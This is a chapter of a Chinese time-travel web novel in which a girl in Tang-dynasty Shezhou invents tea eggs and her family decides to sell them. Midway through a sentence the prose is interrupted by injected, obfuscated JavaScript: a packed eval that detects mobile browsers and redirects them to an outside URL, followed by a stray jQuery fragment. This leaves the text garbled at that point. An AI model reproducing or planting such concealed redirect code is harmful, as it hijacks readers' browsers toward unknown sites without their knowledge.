小满之后,汪家便彻彻底底的闲了下来。
不止汪家,此刻的下汪村乃至同德乡、全歙州的茶农们都闲下来了。
对靠山吃山的茶农们来说,今年的任务已然结束了,剩下的便是那些茶商们的事。
茶商们会将他们这些茶农制出的新茶运去浮梁、扬州乃至长安。
今日的朝食时间比平常要迟一些,汪怜儿醒来的时间也迟了些,好似连身体都在说可以懒怠下来了。
因为她的头快好了,阿姊就搬回了房间和她继续同睡。常常是阿姊先醒来再喊醒她,没想到今日连阿姊也睡了会懒觉。
汪家人便沐浴在这般懒洋洋的清晨中用完了朝食。
汪怜儿闲了好几日,连家门也不出一步。没办法,她这几个人的天性就是这样,在现代时她便是个宅女,不喜欢外出也不喜欢与人打交道。穿到了古代也依旧如此,虽然每天都很无聊,但起码让她改掉了熬夜的坏习惯。
只是偶尔她会怀念手机、网络和外卖。
唐朝的生产力还是很落后,她每日不是嚼面片汤便是吃齑菜,一种腌制的咸菜。有时候阿爷阿兄运气好,从村子旁边的河流中摸到几条小鱼,她才能尝尝肉味打打牙祭。
因此汪怜儿迅速地瘦了下去,虽然可能也有她大病初愈的原因,但她食欲不振吃的比原来少得多是看在全家人眼里的。
汪世德和胡贞娘看在眼里,心里很不是滋味。本就瘦弱的女儿病愈之后吃得越来越少,那张小脸如今真的只有巴掌那么大了。
正好最近有了进项,暂时不用太担心银钱的问题,胡贞娘便一咬牙,狠狠心杀了只最老的公鸡给汪怜儿补身子。
于是今日的餐桌上出现了一盘白切鸡肉。
汪家三兄妹看到的时候都惊呆了,这可是过年才能吃上的大菜。
胡贞娘在矮案上摆好菜后才告诉三兄妹,这是特意给汪怜儿杀的鸡,让她补一补身子。
汪慎义和汪慎玉便说自己不吃了都让给小妹吃,他们也发现小妹病好之后越来越瘦了,简直赢弱得风一吹就要倒了。
汪怜儿心中感动,连忙要大家一起都吃,不然她也不好意思吃了。一家人遂和和美美地享受起这难得一见的盛宴来,不过另外四人还是只吃了些许鸡肉便都让给汪怜儿了。
其实这盘白切鸡肉十分寡淡,真的就是清水煮出来的鸡肉,蘸着山蒜酱吃也还是能吃到些许鸡腥味,不过汪怜儿已经十分满足了。
她吃得欢畅,吃完肉,还喝了一大碗热腾腾的鸡汤,腹中感到前所未有过的满足。
吃完后她蹲在家门口,边晒太阳边看院子里养的小鸡,嘴里还回味着刚刚白切鸡的滋味。
忽地,她联想到一件事。
她家是茶农,最不缺的就是陈茶、茶渣,眼前的这些鸡又日日产蛋,她为何不能做点茶叶蛋呢?
翻看了原身的记忆后,她确定了此时还没有出现茶叶蛋这种做法,如果她成功了,那是不是可以拿出去卖,从而补贴家用?
要知道茶叶蛋的魅力是没有一个国人可以抵抗得了的。
汪怜儿越想越激动,猛地起身去寻胡贞娘,问自己能不能用一颗鸡子。
胡贞娘倒没多想,她看汪怜儿才吃完鸡肉又想吃鸡子的样子还以为她终于恢复食欲了,心中还在高兴,因此只犹豫了一瞬便答应了。
汪怜儿又兴高采烈地去翻出家中的陈茶和茶渣,又去舀了些酱坛里的酱清权当酱油用。
材料齐全后她跑去灶间,往陶釜里倒了些水,先只加一点茶渣,再给灶膛里添柴烧火。
不一会儿茶煮开了,汪怜儿用木勺舀了一口尝了下,觉得还好不苦,便安心放进鸡蛋。
接着她还是先只倒一点酱清进去,搅了搅后尝了一口觉得有点淡了,便又倒了点进去,这下再尝就正正好了。
她耐心地等着,等到蛋熟之后,用竹笊篱捞出蛋来,微微凉却后,又用木勺背轻轻敲碎蛋壳,深色的蛋壳上逐渐裂开一道道蛛网样的缝隙。
敲好后汪怜儿便将蛋放回釜里,准备将其浸泡一晚充分入味。
因为心中太过期待,第二天一早,汪怜儿成了全家第一个起床的人。
她奔去灶间,将灶上的釜重新烧滚,此时汤底散发出的香气已经比昨日浓厚了许多。
须臾,她便得到了一颗热腾腾、散发着诱人气息的茶叶蛋。
看着这颗珍贵的蛋,汪怜儿一时之间竟不敢剥开了。
正巧这时胡贞娘也进了灶间,她在房间里便闻到了一股奇异的香味,像茶又像酱,于是披着衣服来灶间看看。
汪怜儿看到胡贞娘来了,心想正好来了一个本地口味可供参考。她开口:“阿娘,这是儿昨天跟你要的那颗鸡子,你跟儿一起分了吃好不好。”
胡贞娘惊讶地看着她手上那颗深色的蛋问道:“这……怜儿……你是用茶和酱一起煮了这鸡子吗,你这孩子可真是会乱来,这能好吃吗?”
她皱着眉走过来,眼角眉梢满是心疼,嫌小女儿浪费东西,这鸡子和茶、酱可都是家里日常需要的。
汪怜儿没有辩解,她剥开蛋壳,观察了一下蛋的表面,已然变色了,再用手掰开,蛋黄颜色也变深了。
她心下微定,笑着将一半递给胡贞娘,另一半塞进自己嘴中。
入口的第一反应是淡了,对她来说,这颗唐朝茶叶蛋只有现代茶叶蛋的三分之一好吃,入味倒是入味了。可能是因为她只做了一颗蛋,茶和酱的量都没控制好吧。
此外用的是绿茶
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382651|200209||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
而非红茶、酱清味道比酱油更浅、没有放八角桂皮香叶这些卤料大概也是重要的影响因素。
汪怜儿正在惋惜,一旁的胡贞娘却惊奇地开口道:“怜儿,没想到你做出来的这颗鸡子还挺好吃的。”
她本以为女儿是在调皮乱来,弄出来的鸡子肯定一股怪味,女儿让她吃她也是本着不浪费的心态放进嘴里了,谁料入口竟是一股带有茶味的咸香,狠狠惊艳了她。
汪怜儿一振,连忙追问:“什么什么?阿娘你真的觉得好吃吗?不会太淡了吗?”
胡贞娘摇头:“没有啊,阿娘不觉得淡,这味道正正好。”
汪怜儿心想也许是因为此时生产力低下,普通人吃不起太滋味丰富的东西,对她这个现代人来说淡了的茶叶蛋,在本地土著看来倒是正好。
看来是成功了!
她心中一喜,脸上也不由自主溢出了欢快的笑:“阿娘,你说咱们多做些这茶煮鸡子拿去卖怎么样?”
胡贞娘被她说得一愣,倒仔细思索起了这门生意的可能性。做这“茶煮鸡子”所需的茶、酱、鸡子都是自家就有的不花钱,且这“茶煮鸡子”味道又十分地好,符合他们歙州人爱吃咸的口味……胡贞娘越想越觉得这是条赚钱的路子。
她看向小女儿,只觉她从昏迷中醒来以后倒是越来越聪明了,难道真应了医博士的话“大难不死必有后福”?
她越想心里越高兴,当即便同意了卖茶叶蛋的事。
一家人聚在一起用朝食时,便开始讨论起这事。
其余三人虽还未尝过二人口中这无比美味的“茶煮鸡子”,但他们十分信任胡贞娘和汪怜儿,既然这二人已经决定了要做生意,他们便倾力相助。
于是汪家的茅草屋里又开始飘起茶香,这次还多了一股酱香,这两种味道交织在一起形成了一股神秘的、让人不由自主流口水的香味。
这香味一连飘了好几天,邻居都忍不住上门来问,却被告知是在做吃食。
邻居心中纳闷,什么吃食能飘着一股茶味。若不是已然过了采茶季,他都要怀疑汪世德家是不是又在制茶了。
汪家的茶叶蛋很快便制好了一批,有二三十个。其余三人在品尝之后顿时对这门生意充满了信心,汪怜儿也确认了淡一点反而更合今人口味的事实。
一家人商量了下该定价几何、去哪里卖的事。按照如今的市价,一文钱可以买来三颗鸡蛋,再加上茶渣、酱清的价值和人工费,还有加热的炭火钱,一家人决定一颗茶叶蛋卖一文。
他们下汪村虽属同德乡,然而却离州城更近,不过十余里,因此便决定去州城中最热闹的商业街渔梁摆摊。
第二日一家人齐出动,带上摆摊的东西和茶叶蛋,撑着竹筏顺流而下前往渔梁。